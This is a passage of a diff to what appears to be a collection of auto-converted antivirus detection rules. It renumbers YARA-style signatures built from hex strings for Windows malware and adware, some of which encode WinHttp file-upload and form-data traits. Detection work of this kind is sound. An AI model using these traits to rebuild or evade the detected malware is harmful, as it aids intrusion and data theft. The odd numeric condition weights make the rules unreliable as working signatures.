6a 67 66 89 45 e4 } //46 + $a_66_13 = {45 ea 58 6a 3a 66 89 45 ee 58 6a 20 66 89 45 f0 58 6a 25 66 89 45 f2 58 6a 6c 66 89 45 f4 58 6a 75 66 89 45 f6 58 00 00 78 59 02 00 06 00 06 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 62 70 61 74 68 00 02 00 32 01 3d 00 25 00 73 00 26 00 53 00 75 00 62 00 49 00 64 00 3d 00 25 00 73 00 26 00 4f } //27224 + $a_00_15 = {26 00 6d 00 61 00 63 00 3d 00 25 00 73 00 02 00 7c 01 26 00 62 00 6e 00 61 00 76 00 3d 00 25 00 64 00 26 00 6e 00 6f 00 6d 00 61 00 74 00 63 00 68 00 3d 00 25 00 64 00 26 00 6d 00 61 00 74 00 63 00 68 00 3d 00 25 00 64 00 26 00 6e 00 74 00 70 00 3d 00 25 00 64 00 26 00 6d 00 61 00 74 00 63 00 68 00 65 00 78 00 3d 00 25 00 64 00 26 00 67 00 61 } //37 condition: - ((#a_6f_0 & 1)*21539+(#a_67_1 & 1)*400+(#a_01_2 & 1)*26881+(#a_00_3 & 1)*23553+(#a_2a_4 & 1)*9543+(#a_2a_5 & 1)*799+(#a_00_6 & 1)*6+(#a_69_7 & 1)*14949+(#a_00_8 & 1)*110+(#a_00_10 & 1)*105+(#a_00_11 & 1)*37+(#a_00_13 & 1)*102+(#a_00_15 & 1)*115) >=1 + ((#a_6f_0 & 1)*21539+(#a_67_1 & 1)*400+(#a_01_2 & 1)*26881+(#a_00_3 & 1)*23553+(#a_2a_4 & 1)*9543+(#a_2a_5 & 1)*799+(#a_00_6 & 1)*4+(#a_57_7 & 1)*28257+(#a_00_8 & 1)*108+(#a_00_9 & 1)*115+(#a_22_10 & 1)*25965+(#a_69_11 & 1)*25697+(#a_00_12 & 1)*46+(#a_66_13 & 1)*27224+(#a_00_15 & 1)*37) >=1 } -rule _InfrastructureShared_19981{ +rule _InfrastructureShared_21193{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6c 69 64 46 6c 6f 65 2e 41 21 64 68 61 00 01 00 7c 01 00 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 61 } //16675 + $a_00_2 = {6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d 00 42 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 25 00 30 00 38 00 58 00 00 00 01 00 12 01 25 00 6c 00 73 00 5c 00 2a 00 2e 00 73 00 66 00 74 00 01 00 14 01 25 00 6c 00 } //47 + $a_00_3 = {41 00 2a 00 36 00 37 00 66 00 74 00 01 00 10 01 25 73 66 69 6c 65 6e 61 6d 65 3d 22 25 6c 73 22 01 00 10 01 6e 61 6d 65 3d 25 6c 73 26 64 65 6c 65 74 65 3d 01 00 2c 01 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 } //115 + $a_22_4 = {69 6c 65 22 3b 01 00 12 01 00 25 73 66 69 6c 65 6e 61 6d 65 3d 22 25 6c 73 22 00 01 00 70 01 57 69 6e 48 74 74 70 57 72 69 74 65 44 61 74 61 57 69 6e 48 74 74 70 51 75 65 72 79 48 65 } //25965 + $a_69_5 = {48 74 74 70 43 6c 6f 73 65 48 61 6e 64 57 69 6e 48 74 74 70 52 65 63 65 69 76 65 52 65 57 69 6e 48 74 74 70 4f 70 65 6e 52 65 71 75 65 57 69 6e 48 74 74 70 51 75 65 72 79 4f 70 74 69 57 69 6e 48 74 74 70 53 65 74 4f 70 74 69 6f 6e 01 00 44 03 63 00 6d 00 64 00 } //25697 + $a_00_6 = {78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 90 28 01 00 2e 00 90 28 01 00 2e 00 90 28 01 00 2e 00 90 28 01 00 20 00 2d 00 6e 00 20 00 90 28 01 00 90 00 01 00 52 01 6a 43 58 6a 6f 66 89 45 d4 58 6a 6e 5a 6a 74 5f 6a 65 59 6a 2d 66 89 45 d6 58 6a 4c 66 89 45 e2 58 6a 67 66 89 45 e4 } //46 + $a_66_7 = {45 ea 58 6a 3a 66 89 45 ee 58 6a 20 66 89 45 f0 58 6a 25 66 89 45 f2 58 6a 6c 66 89 45 f4 58 6a 75 66 89 45 f6 58 00 00 78 59 02 00 06 00 06 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 62 70 61 74 68 00 02 00 32 01 3d 00 25 00 73 00 26 00 53 00 75 00 62 00 49 00 64 00 3d 00 25 00 73 00 26 00 4f } //27224 + $a_00_9 = {26 00 6d 00 61 00 63 00 3d 00 25 00 73 00 02 00 7c 01 26 00 62 00 6e 00 61 00 76 00 3d 00 25 00 64 00 26 00 6e 00 6f 00 6d 00 61 00 74 00 63 00 68 00 3d 00 25 00 64 00 26 00 6d 00 61 00 74 00 63 00 68 00 3d 00 25 00 64 00 26 00 6e 00 74 00 70 00 3d 00 25 00 64 00 26 00 6d 00 61 00 74 00 63 00 68 00 65 00 78 00 3d 00 25 00 64 00 26 00 67 00 61 } //37 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*47+(#a_00_3 & 1)*115+(#a_22_4 & 1)*25965+(#a_69_5 & 1)*25697+(#a_00_6 & 1)*46+(#a_66_7 & 1)*27224+(#a_00_9 & 1)*37) >=4 + +} +rule _InfrastructureShared_21194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -250844,7 +265934,7 @@ rule _InfrastructureShared_19981{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*104+(#a_00_4 & 1)*104+(#a_00_6 & 1)*38) >=6 } -rule _InfrastructureShared_19982{ +rule _InfrastructureShared_21195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 13 00 21 " @@ -250868,7 +265958,7 @@ rule _InfrastructureShared_19982{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*27759+(#a_6d_2 & 1)*30066+(#a_61_3 & 1)*22273+(#a_79_4 & 1)*28483+(#a_00_5 & 1)*25701+(#a_69_6 & 1)*30056+(#a_00_8 & 1)*46+(#a_00_9 & 1)*46+(#a_5c_10 & 1)*16724+(#a_00_11 & 1)*45+(#a_00_13 & 1)*45+(#a_00_15 & 1)*122+(#a_5a_16 & 1)*16762+(#a_53_17 & 1)*14958) >=20 } -rule _InfrastructureShared_19983{ +rule _InfrastructureShared_21196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -250883,7 +265973,7 @@ rule _InfrastructureShared_19983{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_00_2 & 1)*46+(#a_5c_3 & 1)*16724+(#a_00_4 & 1)*45+(#a_00_6 & 1)*45) >=7 } -rule _InfrastructureShared_19984{ +rule _InfrastructureShared_21197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -250901,7 +265991,7 @@ rule _InfrastructureShared_19984{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_00_4 & 1)*116+(#a_00_6 & 1)*101+(#a_01_7 & 1)*51+(#a_01_8 & 1)*3584+(#a_30_9 & 1)*13104+(#a_65_10 & 1)*29301+(#a_00_12 & 1)*104) >=14 } -rule _InfrastructureShared_19985{ +rule _InfrastructureShared_21198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0a 00 21 " @@ -250917,7 +266007,7 @@ rule _InfrastructureShared_19985{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_3 & 1)*57+(#a_00_5 & 1)*112+(#a_00_6 & 1)*57+(#a_00_7 & 1)*99+(#a_00_9 & 1)*55) >=26 } -rule _InfrastructureShared_19986{ +rule _InfrastructureShared_21199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 1b 00 21 " @@ -250951,7 +266041,7 @@ rule _InfrastructureShared_19986{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28520+(#a_01_2 & 1)*28001+(#a_50_3 & 1)*-32507+(#a_00_4 & 1)*25971+(#a_65_5 & 1)*385+(#a_65_6 & 1)*24933+(#a_78_8 & 1)*28161+(#a_61_9 & 1)*12082+(#a_74_10 & 1)*25713+(#a_61_11 & 1)*30004+(#a_67_12 & 1)*26996+(#a_70_14 & 1)*29800+(#a_74_15 & 1)*26998+(#a_01_16 & 1)*-28531+(#a_00_17 & 1)*-1+(#a_9d_18 & 1)*8074+(#a_90_19 & 1)*-30713+(#a_88_20 & 1)*-30205+(#a_ff_21 & 1)*-255+(#a_6e_22 & 1)*30313+(#a_33_23 & 1)*29545+(#a_74_24 & 1)*28528+(#a_73_25 & 1)*25955+(#a_72_26 & 1)*29728) >=27 } -rule _InfrastructureShared_19987{ +rule _InfrastructureShared_21200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 16 00 21 " @@ -250980,7 +266070,7 @@ rule _InfrastructureShared_19987{ ((#a_6f_0 & 1)*21539+(#a_61_1 & 1)*31090+(#a_6e_2 & 1)*29793+(#a_70_4 & 1)*29800+(#a_61_5 & 1)*27751+(#a_93_6 & 1)*16904+(#a_09_7 & 1)*-1+(#a_ff_8 & 1)*400+(#a_00_9 & 1)*144+(#a_88_10 & 1)*-30205+(#a_88_11 & 1)*-30205+(#a_90_12 & 1)*-1+(#a_01_13 & 1)*-28523+(#a_00_14 & 1)*-1+(#a_20_15 & 1)*29554+(#a_75_16 & 1)*29806+(#a_73_17 & 1)*8307+(#a_20_18 & 1)*28257+(#a_00_19 & 1)*29555+(#a_20_20 & 1)*19969) >=30 } -rule _InfrastructureShared_19988{ +rule _InfrastructureShared_21201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 14 00 21 " @@ -251008,7 +266098,7 @@ rule _InfrastructureShared_19988{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_88_2 & 1)*-30205+(#a_00_3 & 1)*-1+(#a_95_4 & 1)*6026+(#a_90_5 & 1)*-30690+(#a_85_7 & 1)*394+(#a_61_8 & 1)*29811+(#a_73_9 & 1)*28781+(#a_20_10 & 1)*26912+(#a_65_11 & 1)*30055+(#a_65_12 & 1)*29472+(#a_6a_13 & 1)*29268+(#a_69_14 & 1)*19804+(#a_70_15 & 1)*29779+(#a_65_16 & 1)*29285+(#a_2e_17 & 1)*12850+(#a_64_18 & 1)*30319+(#a_63_19 & 1)*12136) >=1 } -rule _InfrastructureShared_19989{ +rule _InfrastructureShared_21202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -251027,7 +266117,7 @@ rule _InfrastructureShared_19989{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*28015+(#a_62_2 & 1)*28532+(#a_75_3 & 1)*8308+(#a_61_4 & 1)*8295+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_5b_8 & 1)*0+(#a_01_9 & 1)*25171) >=4 } -rule _InfrastructureShared_19990{ +rule _InfrastructureShared_21203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -251045,7 +266135,7 @@ rule _InfrastructureShared_19990{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26990+(#a_6f_2 & 1)*26996+(#a_64_3 & 1)*27749+(#a_65_4 & 1)*26996+(#a_6d_5 & 1)*29294+(#a_2e_6 & 1)*14638+(#a_75_7 & 1)*28788+(#a_09_9 & 1)*11408) >=10 } -rule _InfrastructureShared_19991{ +rule _InfrastructureShared_21204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -251062,7 +266152,7 @@ rule _InfrastructureShared_19991{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_90_2 & 1)*11568+(#a_41_3 & 1)*11568+(#a_90_4 & 1)*15718+(#a_6d_5 & 1)*29811+(#a_4d_7 & 1)*14336+(#a_6e_8 & 1)*28005) >=3 } -rule _InfrastructureShared_19992{ +rule _InfrastructureShared_21205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -251074,7 +266164,7 @@ rule _InfrastructureShared_19992{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*1025+(#a_04_2 & 1)*-28539) >=1 } -rule _InfrastructureShared_19993{ +rule _InfrastructureShared_21206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -251094,7 +266184,7 @@ rule _InfrastructureShared_19993{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21038+(#a_2e_2 & 1)*25978+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_00_6 & 1)*1+(#a_5d_7 & 1)*0+(#a_73_8 & 1)*21108+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_19994{ +rule _InfrastructureShared_21207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1d 00 1d 00 21 " @@ -251128,7 +266218,7 @@ rule _InfrastructureShared_19994{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*29301+(#a_6e_2 & 1)*25711+(#a_6c_3 & 1)*28265+(#a_01_4 & 1)*26740+(#a_72_5 & 1)*29808+(#a_74_6 & 1)*21087+(#a_30_7 & 1)*300+(#a_2c_8 & 1)*2+(#a_00_9 & 1)*116+(#a_00_10 & 1)*31277+(#a_00_11 & 1)*116+(#a_00_12 & 1)*292+(#a_00_14 & 1)*123+(#a_00_16 & 1)*49+(#a_00_18 & 1)*49+(#a_00_20 & 1)*45+(#a_00_21 & 1)*45+(#a_00_22 & 1)*45+(#a_00_23 & 1)*45+(#a_00_24 & 1)*45+(#a_32_25 & 1)*14918+(#a_01_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1) >=29 } -rule _InfrastructureShared_19995{ +rule _InfrastructureShared_21208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -251142,7 +266232,7 @@ rule _InfrastructureShared_19995{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_00_2 & 1)*101+(#a_00_4 & 1)*119+(#a_2c_6 & 1)*105) >=4 } -rule _InfrastructureShared_19996{ +rule _InfrastructureShared_21209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 0b 00 21 " @@ -251158,7 +266248,7 @@ rule _InfrastructureShared_19996{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*112+(#a_00_3 & 1)*45+(#a_00_4 & 1)*49+(#a_00_6 & 1)*49+(#a_00_8 & 1)*49+(#a_00_10 & 1)*49) >=25 } -rule _InfrastructureShared_19997{ +rule _InfrastructureShared_21210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -251174,7 +266264,7 @@ rule _InfrastructureShared_19997{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*23664+(#a_00_2 & 1)*92+(#a_2d_3 & 1)*2305+(#a_00_5 & 1)*105+(#a_00_6 & 1)*105+(#a_65_7 & 1)*26627) >=2 } -rule _InfrastructureShared_19998{ +rule _InfrastructureShared_21211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -251191,7 +266281,7 @@ rule _InfrastructureShared_19998{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_7a_2 & 1)*24841+(#a_00_3 & 1)*114+(#a_20_4 & 1)*9504+(#a_00_6 & 1)*108+(#a_2d_7 & 1)*2305+(#a_32_8 & 1)*28265) >=4 } -rule _InfrastructureShared_19999{ +rule _InfrastructureShared_21212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -251211,7 +266301,7 @@ rule _InfrastructureShared_19999{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26998+(#a_65_2 & 1)*26988+(#a_62_3 & 1)*26460+(#a_65_4 & 1)*24935+(#a_79_6 & 1)*9473+(#a_65_7 & 1)*26998+(#a_69_8 & 1)*292+(#a_61_9 & 1)*26990+(#a_6d_10 & 1)*18277+(#a_69_11 & 1)*17244) >=12 } -rule _InfrastructureShared_20000{ +rule _InfrastructureShared_21213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -251232,7 +266322,7 @@ rule _InfrastructureShared_20000{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*17198+(#a_69_2 & 1)*26957+(#a_61_3 & 1)*25966+(#a_72_4 & 1)*29525+(#a_00_6 & 1)*47+(#a_00_7 & 1)*115+(#a_67_8 & 1)*26994+(#a_72_9 & 1)*28789+(#a_6f_10 & 1)*385+(#a_01_11 & 1)*9216+(#a_6d_12 & 1)*24946) >=13 } -rule _InfrastructureShared_20001{ +rule _InfrastructureShared_21214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -251252,7 +266342,7 @@ rule _InfrastructureShared_20001{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29532+(#a_6c_2 & 1)*11876+(#a_01_3 & 1)*28521+(#a_63_4 & 1)*29808+(#a_5c_5 & 1)*28019+(#a_5f_6 & 1)*16720+(#a_00_8 & 1)*121+(#a_00_10 & 1)*97+(#a_00_11 & 1)*97+(#a_00_12 & 1)*101) >=13 } -rule _InfrastructureShared_20002{ +rule _InfrastructureShared_21215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -251270,7 +266360,7 @@ rule _InfrastructureShared_20002{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_3 & 1)*116+(#a_00_4 & 1)*98+(#a_00_5 & 1)*114+(#a_00_7 & 1)*32+(#a_18_8 & 1)*20742+(#a_04_9 & 1)*-28668+(#a_83_10 & 1)*1128) >=2 } -rule _InfrastructureShared_20003{ +rule _InfrastructureShared_21216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 1a 00 21 " @@ -251301,7 +266391,7 @@ rule _InfrastructureShared_20003{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*1025+(#a_03_2 & 1)*-28558+(#a_73_3 & 1)*25955+(#a_10_4 & 1)*-28626+(#a_01_5 & 1)*-28561+(#a_00_6 & 1)*144+(#a_31_7 & 1)*28163+(#a_8a_8 & 1)*5632+(#a_46_9 & 1)*259+(#a_01_10 & 1)*29954+(#a_65_11 & 1)*24946+(#a_6d_13 & 1)*29254+(#a_54_14 & 1)*8302+(#a_00_16 & 1)*82+(#a_31_17 & 1)*13367+(#a_00_19 & 1)*69+(#a_00_21 & 1)*73+(#a_73_22 & 1)*26996+(#a_64_23 & 1)*29797+(#a_79_24 & 1)*28261+(#a_72_25 & 1)*28261) >=6 } -rule _InfrastructureShared_20004{ +rule _InfrastructureShared_21217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0e 00 21 " @@ -251323,7 +266413,7 @@ rule _InfrastructureShared_20004{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*29289+(#a_72_2 & 1)*8281+(#a_00_3 & 1)*86+(#a_55_4 & 1)*8302+(#a_00_5 & 1)*1+(#a_00_6 & 1)*0+(#a_48_8 & 1)*8448+(#a_66_9 & 1)*21249+(#a_65_10 & 1)*29532+(#a_68_11 & 1)*29541+(#a_72_12 & 1)*24942+(#a_72_13 & 1)*25966) >=7 } -rule _InfrastructureShared_20005{ +rule _InfrastructureShared_21218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -251344,7 +266434,7 @@ rule _InfrastructureShared_20005{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26739+(#a_47_2 & 1)*385+(#a_73_3 & 1)*29285+(#a_6e_4 & 1)*9473+(#a_69_5 & 1)*25970+(#a_64_6 & 1)*25960+(#a_65_7 & 1)*29285+(#a_31_8 & 1)*12614+(#a_73_9 & 1)*29264+(#a_73_10 & 1)*21364+(#a_6e_11 & 1)*29545) >=12 } -rule _InfrastructureShared_20006{ +rule _InfrastructureShared_21219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -251367,7 +266457,7 @@ rule _InfrastructureShared_20006{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29264+(#a_73_2 & 1)*21364+(#a_6e_3 & 1)*29545+(#a_61_4 & 1)*29285+(#a_75_5 & 1)*29541+(#a_74_6 & 1)*16735+(#a_3a_7 & 1)*809+(#a_00_8 & 1)*115+(#a_30_9 & 1)*11585+(#a_00_10 & 1)*50+(#a_2c_11 & 1)*101+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1) >=14 } -rule _InfrastructureShared_20007{ +rule _InfrastructureShared_21220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -251384,7 +266474,7 @@ rule _InfrastructureShared_20007{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_39_2 & 1)*12297+(#a_2d_3 & 1)*23085+(#a_41_4 & 1)*18944+(#a_00_6 & 1)*105+(#a_00_7 & 1)*144+(#a_6f_8 & 1)*18179) >=3 } -rule _InfrastructureShared_20008{ +rule _InfrastructureShared_21221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 23 00 21 " @@ -251424,7 +266514,7 @@ rule _InfrastructureShared_20008{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*74+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_63_28 & 1)*0+(#a_00_29 & 1)*33+(#a_00_32 & 1)*48+(#a_00_34 & 1)*112) >=4 } -rule _InfrastructureShared_20009{ +rule _InfrastructureShared_21222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -251438,7 +266528,7 @@ rule _InfrastructureShared_20009{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*23653+(#a_00_3 & 1)*67+(#a_00_4 & 1)*92+(#a_00_6 & 1)*1) >=5 } -rule _InfrastructureShared_20010{ +rule _InfrastructureShared_21223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -251451,7 +266541,7 @@ rule _InfrastructureShared_20010{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_00_2 & 1)*45+(#a_09_4 & 1)*11408) >=1 } -rule _InfrastructureShared_20011{ +rule _InfrastructureShared_21224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -251466,7 +266556,7 @@ rule _InfrastructureShared_20011{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_2 & 1)*97+(#a_2c_4 & 1)*109+(#a_00_6 & 1)*108+(#a_00_8 & 1)*109) >=3 } -rule _InfrastructureShared_20012{ +rule _InfrastructureShared_21225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -251484,7 +266574,7 @@ rule _InfrastructureShared_20012{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25701+(#a_74_2 & 1)*29801+(#a_61_3 & 1)*28261+(#a_69_5 & 1)*23553+(#a_69_6 & 1)*29285+(#a_00_9 & 1)*115+(#a_00_10 & 1)*58+(#a_00_11 & 1)*110) >=12 } -rule _InfrastructureShared_20013{ +rule _InfrastructureShared_21226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -251498,7 +266588,7 @@ rule _InfrastructureShared_20013{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*104+(#a_00_3 & 1)*44+(#a_00_5 & 1)*110+(#a_00_7 & 1)*121) >=1 } -rule _InfrastructureShared_20014{ +rule _InfrastructureShared_21227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0f 00 21 " @@ -251519,7 +266609,7 @@ rule _InfrastructureShared_20014{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_00_2 & 1)*54+(#a_00_4 & 1)*116+(#a_00_6 & 1)*105+(#a_69_7 & 1)*26988+(#a_6f_8 & 1)*21562+(#a_00_9 & 1)*51+(#a_00_10 & 1)*51+(#a_00_11 & 1)*52+(#a_00_13 & 1)*54+(#a_00_14 & 1)*55) >=4 } -rule _InfrastructureShared_20015{ +rule _InfrastructureShared_21228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -251533,7 +266623,7 @@ rule _InfrastructureShared_20015{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*51+(#a_00_2 & 1)*51+(#a_00_3 & 1)*182+(#a_00_4 & 1)*54) >=5 } -rule _InfrastructureShared_20016{ +rule _InfrastructureShared_21229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -251547,7 +266637,7 @@ rule _InfrastructureShared_20016{ ((#a_53_0 & 1)*20515+(#a_00_1 & 1)*115+(#a_00_3 & 1)*117+(#a_00_4 & 1)*98+(#a_00_6 & 1)*110) >=7 } -rule _InfrastructureShared_20017{ +rule _InfrastructureShared_21230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 08 00 21 " @@ -251562,7 +266652,7 @@ rule _InfrastructureShared_20017{ ((#a_70_0 & 1)*16675+(#a_00_2 & 1)*123+(#a_00_3 & 1)*123+(#a_00_5 & 1)*4+(#a_00_6 & 1)*4+(#a_02_7 & 1)*1) >=13 } -rule _InfrastructureShared_20018{ +rule _InfrastructureShared_21231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 14 00 21 " @@ -251591,7 +266681,7 @@ rule _InfrastructureShared_20018{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*25939+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_68_14 & 1)*0+(#a_72_15 & 1)*11603+(#a_00_16 & 1)*45+(#a_00_17 & 1)*101+(#a_25_18 & 1)*14941+(#a_61_19 & 1)*8224) >=19 } -rule _InfrastructureShared_20019{ +rule _InfrastructureShared_21232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -251605,7 +266695,7 @@ rule _InfrastructureShared_20019{ ((#a_70_0 & 1)*16675+(#a_72_1 & 1)*25956+(#a_00_3 & 1)*101+(#a_00_4 & 1)*104+(#a_00_6 & 1)*101) >=2 } -rule _InfrastructureShared_20020{ +rule _InfrastructureShared_21233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -251619,7 +266709,7 @@ rule _InfrastructureShared_20020{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*52+(#a_00_3 & 1)*32+(#a_00_4 & 1)*115+(#a_00_5 & 1)*111) >=3 } -rule _InfrastructureShared_20021{ +rule _InfrastructureShared_21234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -251635,7 +266725,7 @@ rule _InfrastructureShared_20021{ ((#a_46_0 & 